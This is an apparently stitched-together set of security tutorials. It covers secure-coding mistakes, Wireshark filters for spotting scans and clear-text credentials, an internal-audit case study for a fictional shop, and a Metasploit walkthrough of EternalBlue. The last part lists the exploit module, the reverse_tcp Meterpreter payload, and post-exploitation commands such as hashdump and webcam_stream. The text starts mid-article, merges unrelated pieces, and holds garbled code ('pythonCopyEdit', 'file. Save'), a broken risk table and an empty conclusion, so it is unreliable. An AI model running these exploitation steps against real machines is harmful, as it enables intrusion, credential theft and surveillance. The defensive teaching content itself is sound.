Without validation, your app can break or even be hijacked. Bad input can lead to issues like SQL injection, cross-site scripting (XSS), and general bugs.

Basically, you’re giving attackers a blank check.

How to Protect Against It

Make sure you validate all inputs. For example:

import re
email = request.GET.get('email')
if not re.match(r"[^@]+@[^@]+\.[^@]+", email):
    return "Invalid email format"

Use parameterized queries. Never build SQL strings from raw user input:

cursor.execute("SELECT * FROM users WHERE email = %s", (email,))

And use strict data types. Don’t just assume input is clean. Make it pass a test.Limit input length. No one needs a 5,000-character username.Escape special characters especially if you’re using input in HTML or SQL.

3. Poor Error Handling

This is what lazy error handling looks like:

except Exception as e:
    print(e)  # Exposes internal errors to the user

Or worse:

except:
    pass  # Silently swallows all errors

In the first example, the error is fully displayed to the user. The second example ignores all errors.

Silent errors are dangerous. And showing full error messages to users? That’s handing over a map to your system.

Imagine a database error pops up in production, and your app spits out something like:

psycopg2.OperationalError: could not connect to server: Connection refused

Great – now attackers know what database you’re using, and they might start poking around.

How to Protect Against It

• Log detailed errors – but do it securely. Use logging tools or services, and don’t store logs where users can see them.

• Show users simple messages like:
  "Oops! Something went wrong. Please try again later."
  That’s all they need to know.

• Never expose stack traces in production. Turn off debug mode and use proper error pages.

• Handle specific exceptions where possible, so you know exactly what failed and why.

Example:

try:
    process_data()
except ValueError as e:
    logger.error(f"Data error: {e}")
    return "Invalid input. Please check your data."
except Exception as e:
    logger.exception("Unexpected error")
    return "Something went wrong. Try again later."

Use error monitoring tools like Sentry, Rollbar, or LogRocket. They catch errors, track them, and help you fix them – before users even notice.

4. Outdated Dependencies

Using old packages is like leaving your front door wide open. Attackers know exactly where the weak spots are – and they actively scan for them.

If your package.json or requirements.txt file hasn’t changed in years, that’s a red flag.

How to Protect Against It

• Update regularly. New versions often patch security flaws.

• Audit your dependencies. Use tools like npm audit and pip-audit based on your codebase.

• Automate updates with tools like Dependabot, Renovate, or PyUp.

pip-audit
# or
npm audit

Even small packages can have big impacts. Stay updated, stay safe.

5. No Authentication or Weak Authentication

If your app lets anyone in without verifying who they are, that’s game over. Weak logins are just as dangerous.

Common mistakes include:

• No password complexity rules – Weak passwords like “123456” or “password” can be cracked in seconds using brute-force or dictionary attacks.

• Storing passwords in plain text – If your database is ever breached, all user credentials are exposed instantly, leading to massive data leaks and account takeovers.

• No account lockout after repeated failed logins – Without a limit on login attempts, attackers can keep guessing passwords endlessly using automated tools.

How to Protect Against It

First, you can hash passwords using strong algorithms like bcrypt.

Here’s an example in Python:

import bcrypt
hashed = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())

You can also enforce strong password policies (min length, symbols, and so on) and use multi-factor authentication (MFA) if available for extra protection.

A few extra lines of code can stop a full-blown breach.

6. Missing Authorization Checks

Authentication checks who you are. Authorization checks what you can do. Skipping the second one is like giving everyone admin access.

Example:

@app.route('/user/<id>')
def get_user(id):
    return User.query.get(id)

Here, there’s no check to see if the current user is allowed to view that data.

How to Protect Against It

@app.route('/user/<id>')
@login_required
def get_user(id):
    if current_user.id != int(id):
        return "Unauthorized", 403
    return User.query.get(id)

In the above code, a login is required and the user is verified before giving them access to the data.

• Always verify ownership and roles before showing or modifying data.

• Implement access control rules across your API and frontend.

• Don’t trust IDs from the frontend – verify on the backend too.

7. Exposed Sensitive Data in URLs

Ever seen a password reset link like this?

https://example.com/reset-password?token=abcd1234

Looks harmless – but it’s not. Tokens, session IDs, and API keys should never be in URLs. They get saved in:

• Browser history

• Server logs

• Analytics tools

How to Protect Against It

Make sure you only send sensitive data in POST requests or headers, like this:

POST /reset-password
Authorization: Bearer abcd1234

8. No Rate Limiting

Rate limiting is a security technique that controls how many times a user (or system) can make a request to your server within a given time frame – for example, no more than 10 login attempts per minute.

Without rate limits,

• An attacker can make 1,000 login attempts in a minute

• Your server may crash under fake requests

How to Protect Against It

Set a max request limit per IP or user. You can use tools like Cloudflare or inbuilt tools in programming languages to do this. For example, in Python, we can use flask_limiter.

from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(app, key_func=get_remote_address)

@app.route("/login")
@limiter.limit("5 per minute")
def login():
    # login logic

In the above code, the login attempts are limited to 5 per minute. Stop abuse before it starts.

9. Unsafe File Uploads

Letting users upload files? Cool. But if you’re not careful, they can:

• Upload malware

• Overwrite key files

• Execute scripts on your server

Here’s an example of a common mistake:

file. Save(f"/uploads/{file.filename}")

Any type of file could be uploaded this way.

How to Protect Against It

To start, you can rename files before saving:

pythonCopyEditimport uuid
filename = str(uuid.uuid4()) + ".jpg"

You can check content type (not just file extension):

pythonCopyEditif file.content_type not in ["image/jpeg", "image/png"]:
    return "Invalid file type"

You also can store files outside public directory, and finally limit file size in your server config and backend code

10. Missing HTTPS

If your app still uses plain old HTTP, all data travels in the open – including:

• Passwords

• Tokens

• Personal info

Attackers can sniff it all with tools like Wireshark.

How to Protect Against It

To start, you can use HTTPS everywhere and get a free SSL cert from Let’s Encrypt.

You can also redirect insecure traffic – here’s how you’d do it in Flask, for example:

@app.before_request
def before_request():
    if not request.is_secure:
        return redirect(request.url.replace("http://", "https://"))

Encrypting traffic is not optional – it’s table stakes for modern apps.

Final Thoughts

Writing secure code isn’t about being perfect. It’s about being careful. Slow down. Look at your code with fresh eyes. Think like an attacker. Plan for failure before it happens.

The best security isn’t patched in later – it’s baked in from the start.

For more cybersecurity tutorials, join my newsletter. New to cybersecurity? Check out my Security Starter Course.

You can use Wireshark in scenarios like troubleshooting network performance issues (for example, slow connections or dropped packets), investigating suspicious activity (like detecting malware or unauthorized access), or learning how protocols like HTTP, TCP, or DNS function in real-world environments.

For beginners, think of it as a window into the invisible world of network communication, revealing what’s happening behind the scenes when you browse the web, send an email, or stream a video. Its power lies in its ability to provide granular insights, making it an indispensable tool for network administrators, cybersecurity enthusiasts, and anyone curious about how networks operate.

In this tutorial, you will learn how to use Wireshark display filters to analyze network traffic and spot potential security threats. Wireshark is a powerful network protocol analyzer that can capture and dissect network packets, which is crucial for cybersecurity professionals.

Here’s what we’ll cover:

• How to Start Wireshark and Analyze Network Traffic

• How to Work with Network Capture Files

• Understanding the Wireshark Interface

• Understanding and Applying Basic Display Filters

• Advanced Filtering Techniques

• Analyzing Security-Related Traffic

• Analyzing Sample Traffic and Generating New Traffic

Prerequisites

Before we start, you'll need to know Linux Basic Syntax. You can learn it through this Linux Skill Tree.

Don't worry if you're new to Wireshark – I’ll explain everything as we go.

How to Start Wireshark and Analyze Network Traffic

In this step, we're going to start using Wireshark. First, you'll learn how to launch it. Then, you'll either capture network traffic or use a provided sample file for analysis. Understanding the Wireshark interface is crucial, as it helps you view and analyze packet data.

Installing Wireshark on Ubuntu 22.04

Before you can start using Wireshark, you need to install it. Open a terminal window and run the following commands:

sudo apt update
sudo apt install wireshark -y

Launching Wireshark

To start Wireshark, you need to open a terminal window. You can do this by clicking on the terminal icon in the taskbar or by pressing Ctrl+Alt+T. Once the terminal is open, you'll use a command to start Wireshark. In the terminal, type the following command and press Enter:

wireshark

This command tells your system to start the Wireshark application. After a few seconds, Wireshark will open. You should see a window similar to the one shown below:

How to Work with Network Capture Files

For this part of the tutorial, you have two options:

Option 1: Use the Provided Sample File

# Download a sample packet capture file with mixed traffic
wget -q https://s3.amazonaws.com/tcpreplay-pcap-files/smallFlows.pcap -O /home/labex/project/sample.pcapng

# Make sure the user has access to the file
chmod 644 /home/labex/project/sample.pcapng

I’ve prepared a sample capture file for you at /home/labex/project/sample.pcapng. This file contains a variety of network traffic that you can analyze.

To open this file:

1. In Wireshark, go to File > Open

2. Navigate to /home/labex/project/sample.pcapng

3. Click "Open"

The file will load in Wireshark, showing various packets that have been captured previously.

Option 2: Capture Your Own Traffic

If you prefer to capture your own traffic:

1. In the Wireshark main window, look for the list of available network interfaces.

2. Find the eth1 interface. In this lab environment, eth1 is the main network interface we'll use for capturing packets.

3. Double-click on eth1. This action immediately starts the packet capture process.

4. Generate some network traffic by opening a new terminal and running:

    curl www.google.com
   

5. Once you've captured enough packets (aim for at least 20-30 packets), click the red square "Stop" button in the Wireshark toolbar.

Understanding the Wireshark Interface

The Wireshark interface is divided into three main panels, each with a specific purpose:

1. Packet List (top panel): This panel shows all the packets that have been captured in the order they were received. It gives you a quick overview of the captured traffic.

2. Packet Details (middle panel): When you select a packet in the top panel, this middle panel shows the details of that packet in a hierarchical format. It breaks down the packet's structure, showing information like the source and destination IP addresses, protocol types, and more.

3. Packet Bytes (bottom panel): This panel displays the raw bytes of the selected packet in hexadecimal format. It's useful for in-depth analysis, especially when you need to look at the exact data being transmitted.

To see how these panels work together, click on different packets in the top panel. You'll see the corresponding details and raw bytes update in the middle and bottom panels.

Understanding and Applying Basic Display Filters

In this step, we're going to explore display filters in Wireshark. Display filters are essential tools when it comes to analyzing network traffic. They help you focus on specific types of packets instead of having to sift through all the captured data.

By the end of this section, you'll know what display filters are, why they're useful, and how to apply basic ones to isolate specific types of network traffic.

What Are Display Filters?

When you're analyzing network traffic, looking at every single captured packet can be overwhelming. You usually want to focus on specific types of packets. That's where Wireshark display filters come in. They allow you to show only the packets that meet certain criteria. This makes the analysis process much more efficient because you're not wasting time on irrelevant data.

Display filters in Wireshark use a special syntax. This syntax enables you to filter packets based on various attributes such as protocols, IP addresses, ports, and even the content of the packets. Understanding this syntax is key to effectively using display filters.

Filter Toolbar

Take a look at the top of the Wireshark window. You'll notice a text field. It might be labeled "Apply a display filter..." or simply show "Expression...". This is the place where you'll enter your display filters. Once you enter a filter and press Enter, Wireshark will use that filter to show only the relevant packets.

Basic Protocol Filters

Let's start with a simple example. Suppose you want to view only HTTP traffic. HTTP is the protocol used for web browsing. To do this, you'll enter a filter in the filter toolbar. Type the following filter and then press Enter:

http

After you apply this filter, Wireshark will only display HTTP packets. All other packets will be temporarily hidden. You'll notice that the filter bar turns green when you apply a valid filter. This is a visual indication that your filter is working correctly.

The output should now show only packets related to HTTP traffic. This typically includes web requests (when you ask a website for information) and responses (when the website sends you the information). If you don't see any HTTP traffic in the sample file, you can try different protocols that might be present, such as TCP, UDP, or DNS:

tcp

Or try generating more HTTP traffic by running the curl command in a terminal:

curl www.google.com

IP Address Filters

Next, let's filter traffic based on IP addresses. An IP address is like a unique identifier for a device on a network. First, look at your packet list. You'll see columns labeled "Source" and "Destination". These columns show the IP addresses of the devices sending and receiving the packets.

Once you've identified an IP address that appears frequently in your capture (for example, let's say you see 192.168.1.1), you can use it to create a filter. Type the following filter in the filter toolbar to see only packets from that source:

ip.src == 192.168.3.131

You can replace 192.168.3.131 with an IP address that you actually see in your capture. After applying this filter, only packets with that source IP address will be shown.

If you want to see all the packets again, you can clear the current filter. Just click the "Clear" button (X) on the right side of the filter bar.

Port Filters

Many network services operate on specific ports. A port is like a door on a device that allows specific types of network traffic to enter or leave. For example, HTTP typically uses port 80.

To filter packets by port number, you can use the following filter:

tcp.port == 80

This filter will show both incoming and outgoing packets that use TCP port 80. You might also try other common ports like 443 (HTTPS) or 53 (DNS) depending on what's available in your capture.

Combining Filters

You can make your filters more powerful by combining them using logical operators like and and or. For example, if you want to show only HTTP traffic that uses port 80, you can use the following filter:

http and tcp.port == 80

Try applying different combinations of filters and observe how the displayed packets change. Remember, before trying a new filter, you can either clear the previous one by clicking the "Clear" button or modify the existing filter directly in the filter bar to build upon it.

Advanced Filtering Techniques

In this part, we'll explore how to create more sophisticated filters for detailed network traffic analysis. As a beginner, you might wonder why we need advanced filtering. Well, in real-world scenarios, network capture files can be extremely large, filled with all kinds of traffic. Advanced filtering techniques are like a powerful magnifying glass for security professionals. They help us quickly pick out the suspicious or important traffic from the sea of data in these large capture files.

Complex Filters with Multiple Conditions

Wireshark gives you the ability to build complex filters by combining multiple conditions. This is very useful when you want to be more precise in your traffic analysis. Let's start by creating a filter to find HTTP GET requests.

http.request.method == "GET"

This filter is designed to display only HTTP packets that contain GET requests. When you apply this filter, you'll see packets that are requests sent to web servers. The reason we use this filter is that GET requests are a common type of HTTP request used to retrieve data from a server. By isolating these requests, we can focus on the data retrieval activities in the network.

If your sample file doesn't contain HTTP GET requests, try this alternative filter to find TCP SYN packets which indicate connection attempts:

tcp.flags.syn == 1

Now, let's make our filter more specific. We'll add a port condition:

tcp.port == 80 and http.request.method == "GET"

This new filter shows only HTTP GET requests that occur on the standard HTTP port (80). The standard HTTP port is widely used for unencrypted web traffic. By adding this port condition, we're narrowing down our search to only those GET requests that are using the typical HTTP communication channel.

Filtering Based on Packet Size

Network attacks often involve packets with unusual sizes. Attackers might use large or small packets to hide malicious data or to disrupt the normal functioning of the network. To filter based on packet size, we use a specific syntax:

tcp.len >= 100 and tcp.len <= 500

This filter displays TCP packets with a payload length between 100 and 500 bytes. You can adjust these values according to your needs. For example, if you suspect that an attack involves larger packets, you can increase the upper limit. By filtering based on packet size, we can identify abnormal traffic patterns that might indicate an attack.

Filtering Based on Specific Content

You can also filter traffic based on specific content within packets. This is very useful when you're looking for traffic related to a particular website or service. For example, let's find HTTP traffic related to a specific website.

http.host contains "google"

This filter shows only HTTP traffic where the host header contains "google". You can replace "google" with any domain you're interested in analyzing. The host header in an HTTP request tells the server which website the client is trying to access. By filtering based on the host header, we can focus on the traffic related to a specific domain.

If your sample file doesn't have HTTP traffic with host headers, try this more general content filter:

frame contains "http"

Using the "contains" Operator for Text Searching

The contains operator is a handy tool for searching for specific text strings in packets. It allows us to look for certain keywords within the packet data.

frame contains "password"

This filter shows packets containing the word "password" anywhere in the packet data. This can be very helpful for detecting possible security issues. For example, if passwords are being sent in clear text (which is a big security risk), this filter can help us spot those packets.

Or try this filter:

frame contains "login"

Negating Filters

Sometimes, you might want to see all the traffic except for certain types. That's where the not operator comes in.

not arp

This filter hides all ARP packets. ARP (Address Resolution Protocol) is used to map IP addresses to MAC addresses in a local network. Sometimes, ARP traffic can be very common and might clutter your analysis. By using the not operator, you can exclude this type of traffic and focus on other more relevant packets.

Saving and Applying Filter Bookmarks

If you find yourself using certain filters frequently, you don't have to type them in every time. You can save them as bookmarks. Here's how:

1. Enter a filter in the filter bar. This is where you type in the filter expressions we've been learning about.

2. Click the "+" button on the right side of the filter bar. This button is used to save the current filter as a bookmark.

3. Give your filter a name and click "OK". Naming the filter makes it easy to identify later.

Once you've saved your filter, you can apply it by clicking on its name in the filter dropdown menu. This saves you time and effort, especially when you're doing repeated analysis.

Exporting Filtered Packets

After you've filtered your traffic to show only the packets of interest, you might want to save just these packets to a new file. This is useful for sharing specific findings with colleagues or for further analysis. Here's how you do it:

1. Apply your desired filter. Make sure you've set up the filter to show only the packets you want to save.

2. Click on File > Export Specified Packets. This option allows you to export a specific set of packets.

3. Make sure "Displayed" is selected in the Packet Range section. This ensures that only the packets that are currently visible (that is, the ones that match your filter) are exported.

4. Choose a filename and location. This is where you decide where to save the new capture file and what to name it.

5. Click "Save". This creates a new capture file containing only the packets that matched your filter.

Analyzing Security-Related Traffic

In this step, we're going to focus on using Wireshark filters for security analysis. Security analysis is crucial in the world of cybersecurity as it helps us spot potentially malicious activities in network traffic. By the end of this section, you'll be able to identify various types of security threats using specific Wireshark filters.

Identifying Port Scanning Activities

Port scanning is a common technique used by attackers to gather information about a target system. Attackers use it to find open ports on a network, which they can then exploit.

To detect potential port scanning, we look for a large number of connection attempts from a single source to multiple ports.

Let's use a specific filter to identify such activities. Try this filter in Wireshark:

tcp.flags.syn == 1 and tcp.flags.ack == 0

This filter shows SYN packets without the ACK flag. In a TCP connection, the SYN packet is the first one sent to initiate a connection, and the ACK packet is used to acknowledge the connection. When we see a lot of SYN packets without ACK from one source to different destination ports, it's a strong indication of port scanning.

Detecting Suspicious DNS Traffic

DNS tunneling and other DNS-based attacks are becoming more common. These attacks use the DNS protocol to hide malicious activities, such as data exfiltration or command and control communication. To detect such attacks, we need to look for unusual DNS traffic.

Use this filter to examine DNS queries:

dns

Once you apply this filter, look for unusually long domain names or a high volume of DNS requests to the same domain. These could be signs of data exfiltration or command and control communication.

Identifying Password Brute Force Attempts

Password brute force attacks are a common way for attackers to gain unauthorized access to services like SSH or FTP. In a brute force attack, the attacker tries multiple password combinations until they find the correct one.

To detect potential brute force password attempts, we can filter for failed login attempts. Use this filter:

ftp contains "530" or ssh contains "Failed"

This filter shows FTP and SSH packets that contain common failure response messages. If you see multiple failures from the same source, it may indicate a brute force attempt.

Analyzing HTTP Error Responses

Web application attacks often generate HTTP error responses. Attackers may try to exploit vulnerabilities in web applications, and these attempts can result in error responses from the server.

Filter for these error responses with:

http.response.code >= 400

This filter shows HTTP response packets with status codes of 400 or higher. All these status codes represent error responses. By examining these packets, we can identify attempted web exploits.

Finding Clear-Text Credentials

Transmitting credentials in clear text is a major security risk. If an attacker intercepts these credentials, they can gain unauthorized access to the system.

To detect clear-text credentials, use this filter:

http contains "user" or http contains "pass" or http contains "login"

This filter helps us find HTTP traffic that might contain login information. Carefully examine the packets that match this filter to identify potential security risks.

Analyzing Sample Traffic and Generating New Traffic

Now that you've learned various security-focused filters, it's time to put your knowledge into practice. You can either analyze the provided sample file or generate and analyze new traffic.

Analyzing the Sample File

If you're using the provided sample file (/home/labex/project/sample.pcapng), try applying some of the security filters we've discussed to identify any interesting patterns:

tcp.flags.syn == 1 and tcp.flags.ack == 0

Look for patterns that might indicate scanning, suspicious connections, or other security concerns.

Generating and Analyzing New Traffic

Alternatively, open a new terminal window. In this window, we'll generate some HTTP traffic with multiple requests. Run the following commands:

for i in {1..5}; do
  curl -I www.google.com
  sleep 1
done

These commands send five HTTP HEAD requests to www.google.com with a one-second interval between each request.

Next, go to Wireshark and apply this filter to find all HTTP requests:

http.request

This filter will show all the HTTP requests in the captured traffic.

Look through these packets to identify patterns of normal HTTP traffic. Notice the headers, the frequency of requests, and other details.

Finally, try to create a filter that can distinguish normal HTTP browsing from automated scanning tools. For example:

http.request and !(http.user_agent contains "Mozilla")

This filter shows HTTP requests that don't have browser user agents. Since most normal web browsing is done using browsers with Mozilla in the user agent, requests without it might indicate automated tools rather than normal browsing.

By practicing these security-focused filtering techniques, you'll develop the skills needed to quickly identify suspicious traffic in real-world network captures.

Conclusion

In this tutorial, you have learned how to use Wireshark display filters for network traffic analysis and potential security threat identification.

You began by either working with a provided sample capture file or capturing live network traffic and familiarizing yourself with the Wireshark interface. Then, you mastered basic display filters to isolate specific traffic types according to protocols, IP addresses, and ports. You also advanced your skills with complex filtering techniques, combining multiple conditions and searching for specific content. Finally, you applied these skills in security analysis scenarios to detect suspicious activities such as port scanning, credential exposure, and potential attacks.

These Wireshark filtering skills are crucial for efficient network troubleshooting and security analysis. By quickly isolating relevant packets from large captures, you can greatly reduce the time required to identify and respond to network issues and security incidents.

As you keep practicing with Wireshark, you will gain an intuitive understanding of network protocols and traffic patterns, enhancing your overall cybersecurity capabilities.

To practice the operations from this tutorial, try the interactive hands-on lab: Analyze Network Traffic with Wireshark Display Filters

Every product, whether it’s software or an application, should go through some sort of security testing process. These checks reveal whether the product is safe or vulnerable to threats.

Penetration testing is a common way to test process or products, but it’s typically more specifically designed with a particular product in mind. On the other hand, a full security audit has a broader scope and covers more ground than penetration testing alone.

In this article, you’ll learn what’s involved in a standard security audit and how these processes can help keep your software secure. By the end, you’ll have a better idea of how security audits can help improve an organisation’s overall security posture.

What is a Security Audit?

A security audit is an overall review of an organization’s security controls, policies, standards, and procedures based on a set of predefined expectations.

These predefined expectations are derived from industry standards such as PCI DSS (Payment Card Industry Data Security Standard), which is a mandatory framework for organizations dealing with credit card transactions. Similarly, HIPAA (Health Insurance Portability and Accountability Act) focuses on the privacy and protection of your health information, making it essential for companies who are handling health-related data.

Apart from these standards, polices, and frameworks, security audits also examine infrastructure components and check application backups or recovery mechanisms to make sure data is protected if accidental or malicious data loss occurs.

The outcome of the audit can help inform the company of its current security posture, and also provides details about possible vulnerabilities and compliance threats.

Usually, security audits are conducted by a group of security experts. They plan the audit well in advance to ensure that it interrupts the company’s day-to-day business as little as possible.

There are two types of security audits:

1. Internal Audit

2. External Audit

In this article, we will discuss internal audits. The main difference between the two processes is that internal audits are conducted by people belonging to the organization, while external audits are conducted by a security team outside the organisation.

Elements of an Internal Audit (Process Flow)

A well-structured security audit provides transparency and ensures that there’s a systematic approach to evaluating the effectiveness of in-place security policies and procedures.

The internal audit process typically follows these five steps:

1. Establishing goals and objectives

2. Conducting a risk assessment

3. Completing a control assessment

4. Assessing compliance

5. Communicating to stakeholders

To understand the elements of an internal audit in more detail, let's break down the process by working through a case study. This will show you how a company or team can plan an internal audit using a systematic approach.

Security Audit Case Study

In order to understand this process more clearly, let’s consider an e-Commerce website called “walkGen.com” as an example.

Case Study: There is a eCommerce website named walkGen.com which primarily sells footwear through their website. Customers can order by logging in using their username and password and can pay using a credit/debit card or UPI. To create a better user experience, the website asks for the user’s name, age, gender, and location for personalized information and design.

With this information in mind, let’s conduct a security audit for the website.

Step 1: Establish Goals and Objectives

This first step involves identifying all the critical assets and services required for the website to run. You’ll also need to define a set of industry standard expectations.

For our walkGen.com website, the critical assets we need to consider include customer data, transaction details, and infrastructure details like hosting server, database, and so on.

Keeping these initial data points in mind, here are some possible goals and objectives:

1. Strength access controls: We want to make sure there are strict authentication and authorization policies in place for any users who sign in.

2. Maintain proper frameworks: Since customers can pay using a credit card, we’ll want to ensure that the site adheres to standards like PCI DSS for payment security.

3. Secure Infrastructure: Assets like hosting servers and databases need to be safeguard from cyber threats and theft.

Now, the key expectations are that we’ll maintain compliance with security standards such as GDPR (General Data Protection Regulation) for protecting customer data as well as PCI DSS (Payment Card Industry Data Security Standard) for monetary transactions. We’ll also need to perform regular maintenance and patch updates for servers and databases.

Step 2: Conduct a Risk Assessment

Risk assessment helps us identify and prioritize threats that may possibly affect walkGen’s critical assets. It helps categorize the risks based on their severity and likelihood.

Identifying and categorizing risks will be the ultimate goal in this step, as it will help walkGen implement effective security measures for critical risks compared to low/information risks.

From the assets and services we identified in the previous step, the possible risks could be:

1. Customer data leakage: Exposure of customer data such as names, email ID, customer delivery addresses, payment details, and so on.

2. Man-in-the-Middle attacks: Intercepting website traffic between the logged in users and the website, leading to stolen login credentials, stored payment card details, and so on.

3. Non-compliance with PCI DSS: Failing to meet the standards required for handling credit card transaction securely.

4. Unauthorized transactions or stolen payment details: payment transaction happening on compromised accounts by cybercriminals.

5. Server vulnerabilities: Weaknesses/loopholes in the hosted web server configuration, third-party software, or cloud network infrastructure.

6. Database exploits: Exploiting vulnerabilities present in the database through penetration testing like SQL Injection, and so on.

7. Missing patch updates: Ignoring/Failing to apply security patches for the OS or walkGen’s applications.

Note: If you look closely, some of these risks seem to overlap with others, and some may seem to be defined in the same way. This is called the “chain link of risk”. But deep down they are different from each other.

Once we’ve identified these risks, the next step is to prioritize them (Critical, Medium, or Low) based on various factors such as severity, likelihood of occurring, potential damage that may happen if the threat occurs, and so on.

3. Man-in-the-Middle attacks
4. Non-Compliance with PCI DSS
5. Unauthorized transactions or stolen payment details
7. Database Exploits | | Medium Risk | 6. Server vulnerabilities | | Low Risk | 7. Missing patch updates |

Step 3: Complete a Controls Assessment

This phase ensures that security checkpoints/controls are implemented for the risks we’ve identified while maintaining compliance standards. If any security controls are missing, the audit documents them and provides optimized preventative measures to safeguard the WalkGen website.

In this particular scenario, some control assessments could be:

• Implementing Multi-Factor Authentication (MFA) or 2 Factor Authentication (2FA) using a one time password (OTP) request to a registered mobile number to prevent accidental exposure of customer data.

• Protecting data using encryption standards such as AES (Advanced Encryption Standard)-256 and TLS (Transport Layer Security) 1.3 for secure data transmission, thus helping eliminate possible man-in-the-middle attacks.

• Also, implementing SIEM (Security Information and Event Management) Tools for event logging to prevent Man-in-the-Middle attacks.

• Account compromise often happens through brute-force attacks when the attacker makes multiple login attempts while trying to guess a user’s password. On the walkGen website, a security plugin has been implemented to block multiple login attempts.

• 

• As stated in the "chain link of risk," the risks of non-compliance with PCI DSS and unauthorized transactions or stolen payment details fall into the same category. We can mitigate these risks by enabling proper authorization during payment transactions and, more importantly, disabling the "Remember my card" option by default, which significantly reduces the risk.

• Server vulnerabilities and missing patch updates also fall into the same category of human-based risks. These risks are mitigated by providing periodic updates and reminders to the respective person in charge for walkGen servers. There is a high likelihood that hosting clouds such as Azure, AWS, or Google Cloud Platform (GCP) may have server vulnerabilities, which we can avoid by keeping them updated to their latest versions.

This phase helps us understand the actual security posture in protecting the website from real time attacks.

Step 4: Assess Compliance

Usually, this phase is merely a continuation of the previous phase. But in an audit, equal weight is given to both risk and compliance. This means that we’ll need to conduct a separate compliance review for all the measures taken to mitigate the risks.

Industry regulations and security standards such as GDPR, PCI DSS, Cybersecurity Best Practices, and ISO 27001 (Information Security Management System) are applicable to WalkGen. Assessing whether these standards are maintained and followed is important – otherwise the website may face threats or heavy fines for non-compliance.

These frameworks are general and foundational frameworks that must be adhered to by almost all companies, regardless of their working model. But there are certain frameworks that are more specific to companies like WalkGen.

One specific framework for walkGen would be ISO 22301 (Business Continuity Management System - BCMS), which helps to ensures that walkGen can continue its operations during cyber attacks (if this happens). It also ensures that the company creates disaster recovery and risk mitigation plans to prepare for the worst case scenario.

Note: If a security control is effective in mitigating the risk but is still not compliant with regulations, it’s considered a red flag in security.

At this stage, 95% of the audit is complete. The team members conducting the audit should have a clear understanding of the risks managed, the security working model, the frameworks implemented, and the security protocols that WalkGen adheres to.

Step 5: Communicate to Stakeholders

This phase concludes the audit process for walkGen and provides the audit results to the relevant security teams and board members, such as founders and the CEO. This report helps them understand the findings and determine the next steps for the website, including how much funding should be allocated for the necessary security measures.

The report for security teams will contain a lot of technical nuances, such as the scope of the website, how vulnerabilities are identified (with code snippets), and a detailed walkthrough of each vulnerability. In contrast, the report for non-technical people, including potentially founders and CEOs, will provide high-level information about the audit and security gaps.

Typically, WalkGen's audit report provides insights such as:

• A summary of identified risks and managed threats

• Implemented security frameworks

• Compliance status: Statements such as "WalkGen meets industry standards like GDPR and ISO 22301."

• Recommendations and further steps, includes suggested security enhancements, security budget requirements, and respective action plans for WalkGen.

Conclusion

Companies should conduct security audits regularly. Each time, they should compare the current results with the previous audit’s results to check the analytics and security status of the organisation.

I hope this article gave you a better idea about what’s involved in a security audit and why they’re necessary for companies to complete on a regular basis. It’s important for companie to stay resilient against cyber threats, reduce potential and legal risks, and maintain customer trust in this evolving digital world.

This critical Windows exploit played a key role in the widespread WannaCry ransomware attack that affected systems in over 150 countries.

In this article, we’ll walk through how EternalBlue works, how to scan for it, and how to exploit it using Metasploit.

Note*: This is strictly for ethical hacking and penetration testing purposes on systems you own or have explicit permission to test. Do not use these tools on machines where you don’t have permission.*

What Is EternalBlue?

EternalBlue is a dangerous computer exploit developed by the U.S. National Security Agency (NSA). In 2017, a hacking group called the Shadow Brokers leaked it online. Hackers quickly started using it to attack computers worldwide.

EternalBlue takes advantage of a weakness in Windows computers. This weakness is in the SMB (Server Message Block) protocol, which helps computers share files and printers over a network. By exploiting this flaw, hackers can break into a system without needing a password.

One of the most famous cyberattacks using EternalBlue was WannaCry. This was a ransomware attack that spread across the world in May 2017. It infected over 200,000 computers in more than 150 countries, locking up files and demanding payment. Another attack, NotPetya, used EternalBlue to cause billions of dollars in damage.

Now lets look at how a machine vulnerable to EternalBlue can be exploited.

Prerequisites

1. A target Windows system vulnerable to EternalBlue (for example, an unpatched Windows 7 system).

2. An attacking system (often Kali Linux) with Metasploit installed.

3. Familiarity with basic pentesting commands (Nmap, Metasploit, and so on).

Tools You’ll Need

We are going to use two tools in this tutorial.

Nmap (Network Mapper) is a tool used to scan networks and discover devices, open ports, and running services. It helps ethical hackers and system administrators find security weaknesses and map out network structures. Here is a full tutorial on Nmap.

Metasploit is a powerful hacking framework used to test security by finding and exploiting vulnerabilities in computer systems. It includes Meterpreter, an advanced payload that gives hackers remote control over a compromised machine. Here is a full tutorial on Metasploit.

Identify the Target and Check for Open Ports

First, get the IP address of your target machine. In our example, the IP is 10.10.232.162. You’ll want to confirm that SMB (port 445) is open because EternalBlue attacks the SMB service.

nmap -p 445 10.10.232.162

If the port is open, Nmap will report that port 445 is open. That’s your first green light.

Start Metasploit

Open up your terminal and start the Metasploit Framework (you can learn more about Metasploit in my article here if you need a refresher):

msfconsole

Metasploit will load, displaying the number of exploits, auxiliary modules, and payloads available.

Scan for the EternalBlue (MS17–010) Vulnerability

Next, use Metasploit’s built-in scanner for EternalBlue:

search scanner eternalblue

Use the smb_ms17_010 scanner to check for the EternalBlue vulnerability.

use auxiliary/scanner/smb/smb_ms17_010
show options

Set the target’s IP address (RHOSTS) to your Windows machine:

set RHOSTS 10.10.217.189

Then, run the scanner:

run

If the scanner reports that the host is “likely vulnerable” and shows details such as Windows 7 Professional, you’ve confirmed the EternalBlue vulnerability.

Exploit the Vulnerability

Once you know the target is vulnerable, search for the actual EternalBlue exploit module:

search exploit eternalblue

You should see a list of possible exploits. The one we’re interested in is typically labelled something like:

exploit/windows/smb/ms17_010_eternalblue

Use that exploit:

use exploit/windows/smb/ms17_010_eternalblue
show options

Set the target’s IP address again:

set RHOSTS 10.10.217.189

Then check the payload settings. Metasploit often defaults to a Meterpreter payload (for example, windows/x64/meterpreter/reverse_tcp), which is ideal. Confirm that your local IP (LHOST) is correct, so the connection can come back to your machine.

Finally, run the exploit:

run

Meterpreter Shell and Post-Exploitation

If successful, you will land in a Meterpreter shell. Meterpreter is a powerful payload that allows you to:

• Dump password hashes

• Elevate privileges

• Capture webcam streams

• Record microphones, and more.

Here’s a quick look at some Meterpreter commands:

sysinfo         # Displays the target system information
getuid          # Shows the user context you’re running under
hashdump        # Dumps SAM password hashes (requires privilege escalation)
webcam_stream   # Streams from the target’s webcam if available

The EternalBlue exploit is a prime example of how a single unpatched vulnerability can expose a system for takeover.

Understanding its mechanics helps defensive teams patch systems, monitor network traffic for suspicious SMB communications, and create robust response strategies.

Conclusion

